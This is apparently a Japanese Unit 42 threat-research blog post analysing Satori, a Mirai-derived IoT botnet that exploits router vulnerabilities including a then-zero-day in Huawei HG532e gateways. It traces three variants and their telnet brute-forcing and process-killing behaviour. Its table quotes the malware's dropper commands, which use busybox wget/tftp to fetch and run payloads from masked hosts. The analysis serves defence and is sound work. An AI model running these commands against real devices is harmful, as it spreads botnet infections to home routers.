脆弱性

ゼロデイ脆弱性を悪用してホームルータをボット化する、進化したIoTマルウェアが登場

2 min read

概要

2017年12月の初めに、360 Netlabは、新しいマルウェアファミリを発見し、Satoriと命名しました。Satoriは、Miraiの亜種で、次の2つの脆弱性を悪用します。1つはCVE-2014-8361で、Realtek SDKにおけるminiigd SOAPサービスのコード実行に関する脆弱性です。もう1つは、CVE 2017-17215で、2017年12月の初めにパッチが適用された、Huawei製のHG532eホームゲートウェイで新たに見つかった脆弱性です。

Palo Alto NetworksのUnit 42がSatoriを調査した結果、Satoriの亜種が3つ存在することが、弊社のインテリジェンスデータからわかりました。3つの亜種のうち最初のものは、最新の攻撃から8ヶ月前の2017年4月に発生していました。

また、CVE 2017-17215を悪用するバージョンのSatoriが活動を開始したのは、Huaweiにより脆弱性パッチが適用される前の、2017年11月後半であることも確認されました。これは、このバージョンのSatoriが典型的なゼロデイ攻撃であったことを意味します。つまり、パッチがまだ用意されておらず、当初は未知であった脆弱性に対する攻撃だということです。

Satoriの進化を分析することで、弊社は、多くのIoTマルウェアが既知の脆弱性だけでなく、ゼロデイ脆弱性のエクスプロイトも可能となるように進化しているという確証を得ました。

Gafgytなどの初期のIoTマルウェアファミリや元のMiraiファミリは、デフォルトのパスワード、あるいは貧弱なパスワードを悪用することでデバイスを攻撃しました。これに対し、ユーザーやメーカーは、デフォルトのパスワードを変更し、より強固なパスワードを使用することでそれらの攻撃を阻止しようとしました。

AmnesiaやIoT_Reaperファミリなどの作成者のように、一部のIoTマルウェアの作成者は、特定のIoTデバイスの既知の脆弱性を悪用するように戦略を変えて対抗しました。当然のことながら、IoTベンダーは、脆弱性にパッチを適用することで対抗しました。

こうしたことから、攻撃者が次に、パッチが適用されていない未知の脆弱性に対する典型的なゼロデイ攻撃を行うようになったのは、自然な流れといえるでしょう。

このブログでは、Satoriがどのようにして、ゼロデイ脆弱性を標的とするIoTマルウェアファミリにまで進化したかについて、簡単にご説明し、Miraiの亜種であるSatoriが、どのようにしてMiraiのソースコードの一部を再使用し、telnetスキャニングやパスワードのブルートフォース攻撃といった機能を実行するかをお伝えします。Satoriは、IoTデバイスの種類を識別し、デバイスの種類に応じて異なる動作もします。弊社では、Satoriの作成者は最初に多数のIoTデバイスのファームウェアのリバースエンジニアリングを行い、デバイスの一般的な情報を収集して新しい脆弱性を発見したと考えています。そのとおりならば、将来的には他のさまざまなデバイスでも、未知の脆弱性を攻撃するSatoriの新しいバージョンが登場する可能性があります。

Satoriの進化

2017年4月から、Satoriマルウェアによる攻撃が確認されるようになりました。弊社が収集した攻撃ログおよびサンプル分析結果の解析によって、Satoriファミリには図1に示す3つの主な亜種があることがわかりました。弊社の分析によると、表1に示すとおり、これら3つの亜種はそれぞれ別のコマンドを実行します。

図1 これまでのSatoriファミリの進化

1番目の亜種は、インターネットをスキャンし、さまざまなパスワードを試して、telnetログインで脆弱なIPアドレスのチェックを行うだけです。ログインに成功すると、シェルアクセスを有効にしてから、/bin/busybox satori または/bin/busybox SATORIのコマンドを実行するだけです。

2番目の亜種は、おそらく静的検出を回避することを目的としてパッカーが追加されています。ここでは、攻撃者は、パスワード辞書に、「aquario」というパスワードを追加しており(図2参照)、必ず「aquario」で最初のログインを試行します。「aquario」は、南米で利用の多いあるワイヤレスルータのデフォルトパスワードであることから、この攻撃者が意図的に南米からボット収集を開始したことがわかります。

3番目の亜種は、ゼロデイ脆弱性(CVE-2017-17215)を含む、2つのリモートコード実行の脆弱性を狙ったエクスプロイトを使用しています。2番目の亜種のサンプルの一部では、3番目の亜種で埋め込まれているコマンドと同じコマンドが使用されています(図3参照)。

亜種	攻撃	コマンド
1番目	2223ポートへのTelnet攻撃	enable system shell sh /bin/busybox satori (または /bin/busybox SATORI)
2番目	23ポートまたは2223ポートへのTelnet攻撃	enable system shell sh ping ; sh /bin/busybox SATORI (または /bin/busybox OKIRU) >DIR/.file && cd >DIR/.file && cd DIR && /bin/busybox rm –rf .file (DIR = ['/dev/netslink/', '/var/tmp/', '/tmp/', '/var/', '/home', '/', './', '/dev/', '/mnt/', '/boot/', '/dev/shm/', '/usr/']) /bin/busybox rm -rf .okiru.dropper .okiru.binary .file /bin/busybox wget; /bin/busybox tftp; /bin/busybox NBVZA /bin/busybox wget; /bin/busybox tftp; /bin/busybox echo /bin/busybox cat /bin/busybox \|\| while read i; do /bin/busybox echo $i; done < /bin/busybox \|\| /bin/busybox dd if=/bin/busybox bs=22 count=1 /bin/busybox cp /bin/busybox xhgyeshowm; /bin/busybox cp /bin/busybox gmlocerfno; >xhgyeshowm; >gmlocerfno; /bin/busybox chmod 777 xhgyeshowm gmlocerfno /bin/busybox wget http://xxx.xxx.xxx.xxx:xxx/bins/satori.arm -O - > gmlocerfno; /bin/busybox chmod 777 gmlocerfno; ./gmlocerfno arm; >gmlocerfno /bin/busybox tftp –r satori.arm –l gmlocerfno –g xxx.xxx.xxx.xxx; /bin/busybox chmod 777 gmlocerfno; ./gmlocerfno arm; >gmlocerfno
3番目	2つのRCE脆弱性のエクスプロイト	busybox wget -g xxx.xxx.xxx.xxx -l /tmp/rsh -r /okiru.mips ;chmod +x /tmp/rsh ;/tmp/rsh cd /var/; wget http://xxx.xxx.xxx.xxx/rt.mips -O -> c

表2 それぞれの亜種で実行されるコマンド

図2: aquarioがパスワード辞書に追加

図3 バージョン2.0とバージョン3.0の両方にあるコマンド

Miraiの亜種

Miraiのソースコードは、Githubでオープンソースとして公開されていることから、攻撃者は簡単にMiraiのコードを再使用して、ネットワークスキャナーを実装し、telnetパスワードのブルートフォース攻撃やその他の攻撃用にパスワードのブルートフォースログインモジュールを実装できます。Satoriファミリは、ネットワークスキャナーやtelnetパスワード試行、watchdog無効化など、Miraiコードの一部を再使用しています(図４参照)。

図4 watchdog無効化

またSatoriは、/procを横断検索して、/proc/PID/mapsおよび/proc/PID/exeに8種類の文字列がないか検索し、それらのプロセスを強制終了します(図5参照)。2番目の亜種では、プロセスを強制終了する動作がデバイスごとに異なっています。 Satoriは、同じ方法で/proc内の/var/Challenge、 hi3511、 /mnt/mtd/app/gui、gmDVRというキーワードを検索して侵害されたデバイスが特定のデバイスタイプに該当するかをチェックします。しかし、これらに該当する4つのIoTデバイスでは、Satoriは、プロセスを強制終了しません。この4つの文字列から、Satoriの作成者は、将来の攻撃用に、IoTデバイスのファームウェアを最初にリバースエンジニアリングして、デバイスタイプを識別したと弊社は考えています。

図5 プロセスのチェックと強制終了

結論

Satoriマルウェアファミリは、IoTマルウェアが、単純なパスワードブルートフォース攻撃から、脆弱性エクスプロイト攻撃に進化し続けていることを示しています。IoTマルウェア作成者にとって、Miraiのオープンソースコードが、新しい亜種を開発するための絶好の足がかりになっています。今後も、IoTマルウェア作成者が、既知の脆弱性を悪用し、ゼロデイ脆弱性を発見することによりIoTデバイスを攻撃する傾向はますます強まるものと思われます。

Palo Alto Networksは、Satoriが悪用するゼロデイ脆弱性に対するIPSシグネチャ(37896)をリリース済みです。また、WildFireは、Satoriサンプルを検出できるよう対応済みで、以下のC2アドレスがマルウェアとして分類されています。 AutoFocusをご使用のお客様は、Satoriタグで、この活動を調べることができます。